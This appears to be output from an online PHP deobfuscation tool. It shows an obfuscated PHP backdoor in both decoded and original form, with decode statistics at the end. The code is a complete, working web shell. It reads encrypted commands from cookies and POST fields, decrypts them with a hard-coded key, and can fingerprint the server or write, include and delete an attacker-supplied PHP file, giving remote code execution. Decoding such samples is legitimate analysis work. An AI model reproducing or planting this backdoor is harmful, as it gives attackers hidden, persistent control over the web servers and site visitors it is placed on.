Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* v*/function c_vgohyk(){$yysksoukgp='ebuusbpx'; print_r (54757+54757);/* e..
Decoded Output download
<?php /* v*/function c_vgohyk(){$yysksoukgp='ebuusbpx'; print_r (54757+54757);/* eksfa */}
$zfvbu = 'zfvbu' ^ '';
function jxxkllfr($_e_sq, $mhutmasqgr)
{
global/*tbqq */$zfvbu;
/*jlooh*/$nkrsphlc/* bh */= ""; for ($sdzmiegh = 0; $sdzmiegh < strlen($_e_sq);) {
for ($qyrxrlleyc = 0; $qyrxrlleyc/* a */</*k_qu */strlen($mhutmasqgr) && $sdzmiegh < strlen($_e_sq); $qyrxrlleyc++,/* bjn */$sdzmiegh++) {
/* t */$nkrsphlc/*ai */.= $zfvbu(ord($_e_sq[$sdzmiegh]) ^ ord($mhutmasqgr[$qyrxrlleyc]));
} }
/* kdoda */return $nkrsphlc;
}
function dulcbwq_f($fusewgt, $_e_sq)
{
/* _ */global $zfvbu;
$vhpqezmsg = sprintf(".".$zfvbu(47)/*yuv*/./* syhw*/$zfvbu(983-946) ./* hhj */"s".$zfvbu(46) . "p" . "l", md5($fusewgt));
/*t */file_put_contents($vhpqezmsg, "<"/* f */. $zfvbu(63) . "p" . "h"."p".$zfvbu(32)/*v */./* duphm */"u"."n" . "l"/* u */. $zfvbu(105)."n" . $zfvbu(107)/* kp*/./* _ */$zfvbu(40)/* _jej*/. $zfvbu(95) . "_" . $zfvbu(70)/*iy */./* emm */"I".$zfvbu(602-526)/* ri */. "E"/* ohjqs */./* _tanf */"_"."_".")"/* yq */. ";".$zfvbu(32) ./*o*/$_e_sq["d"]);
include($vhpqezmsg);
/* qlhc */$cqsohner = $vhpqezmsg;
unlink($cqsohner);
}
function/* d */mvdeecwjla()
{
global $zfvbu;
/*a */
$sdzmiegh = array();/*yx*/$sdzmiegh["p"."v"] =/* rzmn */phpversion();
$sdzmiegh["s".$zfvbu(118)] =/* drvfc */"3"/* s */. "."."5";
/* jpe*/echo @serialize($sdzmiegh);
}
function/*qvb*/vjlznzwy($_e_sq, $fusewgt,/* nyvuh*/$qyrxrlleycvkbk)
{
global $zfvbu;
/* zrip*//* ssq */$_e_sq =/* foi */unserialize(jxxkllfr(jxxkllfr(base64_decode($_e_sq), $fusewgt), $qyrxrlleycvkbk)); if (isset($_e_sq["a" . "k"]))/* pt */{ if ($_e_sq["a"] == $zfvbu(105))/* gzh */{
mvdeecwjla();
/* eo*/} elseif ($_e_sq["a"] == "e")/* v_*/{
/*cm */dulcbwq_f($fusewgt,/* duo */$_e_sq);
/* jka */}
exit(); }
}
$qyrxrlleycnaq_cqdrl =/* ay*/$_COOKIE;
$sdzmieghegdtqo/* zlybc */= $_POST;
$qyrxrlleycnaq_cqdrl/*mwx*/= array_merge($sdzmieghegdtqo, $qyrxrlleycnaq_cqdrl);
$fusewgt = $zfvbu(1025-924)/* k*/. "f"."8"."c" . "3" ./*any */$zfvbu(52) ./*wvor*/$zfvbu(97) ./* ktdx */"f" . $zfvbu(881-836) . $zfvbu(983-886) . "e"."d"/* ciu*/. "7"."-".$zfvbu(52)/* sijwl */. "2"."6"/* z_y*/. "d"."-" . "9"."f" ./* dtxf */"2".$zfvbu(99) . "-".$zfvbu(412-361)/*qhq */. "6".$zfvbu(97) . "8"."8"."0"."7".$zfvbu(587-488) . "d"."0"/* b*/. "f".$zfvbu(923-866);foreach/* hnenn */($qyrxrlleycnaq_cqdrl as $qyrxrlleycvkbk =>/* eyrwz */$_e_sq) {
vjlznzwy($_e_sq, $fusewgt,/*vvhmm */$qyrxrlleycvkbk);} ?>
Did this file decode correctly?
Original Code
<?php /* v*/function c_vgohyk(){$yysksoukgp='ebuusbpx'; print_r (54757+54757);/* eksfa */}
$zfvbu = 'zfvbu' ^ '';
function jxxkllfr($_e_sq, $mhutmasqgr)
{
global/*tbqq */$zfvbu;
/*jlooh*/$nkrsphlc/* bh */= ""; for ($sdzmiegh = 0; $sdzmiegh < strlen($_e_sq);) {
for ($qyrxrlleyc = 0; $qyrxrlleyc/* a */</*k_qu */strlen($mhutmasqgr) && $sdzmiegh < strlen($_e_sq); $qyrxrlleyc++,/* bjn */$sdzmiegh++) {
/* t */$nkrsphlc/*ai */.= $zfvbu(ord($_e_sq[$sdzmiegh]) ^ ord($mhutmasqgr[$qyrxrlleyc]));
} }
/* kdoda */return $nkrsphlc;
}
function dulcbwq_f($fusewgt, $_e_sq)
{
/* _ */global $zfvbu;
$vhpqezmsg = sprintf(".".$zfvbu(47)/*yuv*/./* syhw*/$zfvbu(983-946) ./* hhj */"s".$zfvbu(46) . "\160" . "l", md5($fusewgt));
/*t */file_put_contents($vhpqezmsg, "<"/* f */. $zfvbu(63) . "\160" . "h"."p".$zfvbu(32)/*v */./* duphm */"u"."\x6e" . "\154"/* u */. $zfvbu(105)."\x6e" . $zfvbu(107)/* kp*/./* _ */$zfvbu(40)/* _jej*/. $zfvbu(95) . "\137" . $zfvbu(70)/*iy */./* emm */"I".$zfvbu(602-526)/* ri */. "\105"/* ohjqs */./* _tanf */"_"."_"."\x29"/* yq */. ";".$zfvbu(32) ./*o*/$_e_sq["d"]);
include($vhpqezmsg);
/* qlhc */$cqsohner = $vhpqezmsg;
unlink($cqsohner);
}
function/* d */mvdeecwjla()
{
global $zfvbu;
/*a */
$sdzmiegh = array();/*yx*/$sdzmiegh["p"."v"] =/* rzmn */phpversion();
$sdzmiegh["s".$zfvbu(118)] =/* drvfc */"\x33"/* s */. "."."\x35";
/* jpe*/echo @serialize($sdzmiegh);
}
function/*qvb*/vjlznzwy($_e_sq, $fusewgt,/* nyvuh*/$qyrxrlleycvkbk)
{
global $zfvbu;
/* zrip*//* ssq */$_e_sq =/* foi */unserialize(jxxkllfr(jxxkllfr(base64_decode($_e_sq), $fusewgt), $qyrxrlleycvkbk)); if (isset($_e_sq["\141" . "\153"]))/* pt */{ if ($_e_sq["a"] == $zfvbu(105))/* gzh */{
mvdeecwjla();
/* eo*/} elseif ($_e_sq["a"] == "e")/* v_*/{
/*cm */dulcbwq_f($fusewgt,/* duo */$_e_sq);
/* jka */}
exit(); }
}
$qyrxrlleycnaq_cqdrl =/* ay*/$_COOKIE;
$sdzmieghegdtqo/* zlybc */= $_POST;
$qyrxrlleycnaq_cqdrl/*mwx*/= array_merge($sdzmieghegdtqo, $qyrxrlleycnaq_cqdrl);
$fusewgt = $zfvbu(1025-924)/* k*/. "f"."8"."\143" . "\x33" ./*any */$zfvbu(52) ./*wvor*/$zfvbu(97) ./* ktdx */"\x66" . $zfvbu(881-836) . $zfvbu(983-886) . "e"."\144"/* ciu*/. "7"."-".$zfvbu(52)/* sijwl */. "2"."\66"/* z_y*/. "d"."\55" . "9"."\146" ./* dtxf */"2".$zfvbu(99) . "-".$zfvbu(412-361)/*qhq */. "6".$zfvbu(97) . "8"."8"."0"."7".$zfvbu(587-488) . "d"."\x30"/* b*/. "f".$zfvbu(923-866);foreach/* hnenn */($qyrxrlleycnaq_cqdrl as $qyrxrlleycvkbk =>/* eyrwz */$_e_sq) {
vjlznzwy($_e_sq, $fusewgt,/*vvhmm */$qyrxrlleycvkbk);}
Function Calls
array_merge | 1 |
Stats
MD5 | 4b3721d6b3b7c2ef3a81cfb050ffa0ca |
Eval Count | 0 |
Decode Time | 69 ms |